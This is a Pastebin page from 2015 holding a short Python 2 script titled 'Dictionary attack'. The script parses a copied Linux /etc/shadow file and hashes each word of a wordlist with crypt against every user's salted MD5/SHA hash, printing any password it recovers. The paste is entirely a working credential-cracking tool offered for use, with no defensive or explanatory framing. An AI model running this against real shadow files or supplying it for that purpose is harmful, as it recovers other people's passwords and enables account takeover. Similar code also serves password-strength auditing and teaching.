amiralbenz

Dictionary attack

Sep 8th, 2015
199
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.95 KB | None | 0 0
  1. #/etc/shadow
  2. #MD5/SHA256/SHA512
  3. import crypt
  4. def testPass(hashType, salt, hash, saltedHash):
  5.     print "With salt: $",salt
  6.     dictFile = open('dictionary.txt','r')
  7.     for word in dictFile.readlines():
  8.         word = word.strip('\n')
  9.         saltFor = '$' + hashType + '$' + salt
  10.         cryptWord = crypt.crypt(word,saltFor)
  11.         if (cryptWord == saltedHash):
  12.             print "[+]Found Password: "+word+"\n"
  13.             return
  14.     print "[-] Password Not Found.\n"
  15.     return
  16. def main():
  17.     shadowFile = open('shadow')
  18.     for line in shadowFile.readlines():
  19.         if ":" in line:
  20.             user = line.split(':')[0]
  21.             saltedHash = line.split(':')[1]
  22.             hashType = saltedHash.split('$')[1]
  23.             salt = saltedHash.split('$')[2]
  24.             hash = saltedHash.split('$')[3]
  25.             print 'dict attack on user: ', user
  26.             testPass(hashType, salt, hash, saltedHash)
  27. if __name__ == "__main__":
  28.     main()
Advertisement
Add Comment
Please, Sign In to add comment